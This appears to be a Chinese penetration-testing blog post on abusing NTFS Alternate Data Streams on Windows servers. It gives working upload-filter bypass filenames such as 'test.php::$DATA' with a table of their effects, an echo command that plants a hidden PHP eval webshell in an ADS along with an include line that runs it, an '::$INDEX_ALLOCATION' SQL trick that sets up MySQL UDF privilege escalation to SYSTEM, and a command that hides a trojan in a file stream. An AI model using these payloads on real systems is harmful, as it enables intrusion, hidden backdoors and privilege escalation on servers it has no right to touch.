有關ADS的簡單說明請看http://www.xfocus.net/articles/200212/466.html
可以看到ADS在很久以前就被一些安全人員所關注,并且也提出了一些經典的利用,比如隐藏檔案,隐藏
webshell(http://blog.csdn.net/lake2/article/details/269659),随着這次爆出來的IIS的
權限繞過,我們再次測試了一下ADS在滲透中的利用方法,并發現了一些比較有意思的現象。
1 經典的IIS 目錄通路權限繞過:
詳見:http://www.exploit-db.com/exploits/19033/
注:這裡的權限是NTFS目錄屬性的權限,并非說是背景直接繞過。别誤會。
2 Bypass 黑名單驗證
在測試中我們發現,如果上傳的檔案名字為:test.php::$DATA,會在伺服器上生成一個test.php的檔案,其中内容和所上傳檔案
内容相同,并被解析。假設我們需要上傳的檔案内容為:<?php phpinfo();?>下面是上傳是會出現的現象:
上傳的檔案名 伺服器表面現象 生成的檔案内容
Test.php:a.jpg 生成Test.php 空
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php檔案夾
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>
PS: 上傳test.php:a.jpg的時候其實是在伺服器上正常生成了一個資料流檔案,可以通過notepad test.php:a.jpg檢視内容,而test.php為空也是正常的。
根據第二個現象,我們可以bypass一些黑名單驗證。
後面我加\0測試的時候是想截斷後面的東西,但是發現windows會無視”/””\”這兩個符号前面的東西,隻識别這倆符号後的字元串。(由于windows把\ /當成了目錄,而上傳隻認識檔案名所導緻的)
3 在隐藏webshell中的利用:
方法:在伺服器上echo一個資料流檔案進去,比如index.php是網頁正常檔案,我們可以這樣子搞: echo ^<?php @eval(request[cmd])?^> > index.php:hidden.jpg
這樣子就生成了一個不可見的shell
hidden.jpg,正常的檔案管理器、type指令,dir指令、del指令發現都找不出那個hidden.jpg的。我們可以在另外一個正常檔案裡
把這個ADS檔案include進去,<?php
include(‘index.php:hidden.jpg’)?>,這樣子就可以正常解析我們的一句話了。
4 UDF提權中的利用
UDF提權tips:如果資料庫使用者對資料庫mysql(注意指的是資料庫裡的預設庫mysql)具有insert和delete權限,就可以創
建加載自定義函數。而又由于mysql是以system權限運作在windows主機上,是以這個時候我們就可以通過自定義函數以system權限執行命
令了。
Mysql
5.1以上(現在都5.6版本了,估計老版的不常見了。),在加載自定義函數的DLL時,要求目錄必須是mysql目錄下的lib\plugin\目錄。
直接導入C:\windows\system32這種目錄是加載不了dll的,也就沒辦法creat function。但是可悲的是mysql
5.1之後的版本在安裝的時候是預設不存在lib\plugin目錄的,除非你安裝的是完整版(官方的那種200多M的)。
還有一些情況,比如:你擷取webshell了,但是webshell權限被限制的很死,根本沒辦法建立lib\plugin目錄,或者你根本就
沒有webshell,隻有一個Mysql的弱密碼(http://blog.sina.com.cn/s
/blog_6ca7b58101013kt4.html)。在以前估計就是隻有放棄了,但是利用ADS我們則可以bypass掉這個限制。
demo :
select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';
會在mysql目錄下生成一個lib目錄
5 利用ADS隐藏木馬
隐藏好辦,直接在cmd裡面執行指令: type muma.ext test.txt:muma.exe
這樣就把木馬寫進test.txt的資料流裡了。但是想運作的話還得借助其他工具,winrar就是一個,具體方法百度百科裡都有,但是百科裡的别信,成功不了,需要用type指令才能将二進制可執行檔案寫進去的。
Winrar的自解壓木馬我還是覺得不靠譜,畢竟字尾是exe,如果目标連這個都确定不了,那還不如直接發muma.exe。是以這個利用我也沒怎麼研究了。
注:資料流中如果是可執行檔案,用start指令調用時,需要在win xp 和2003環境下,win7下失敗。
相關資訊下載下傳:NTFS-ADS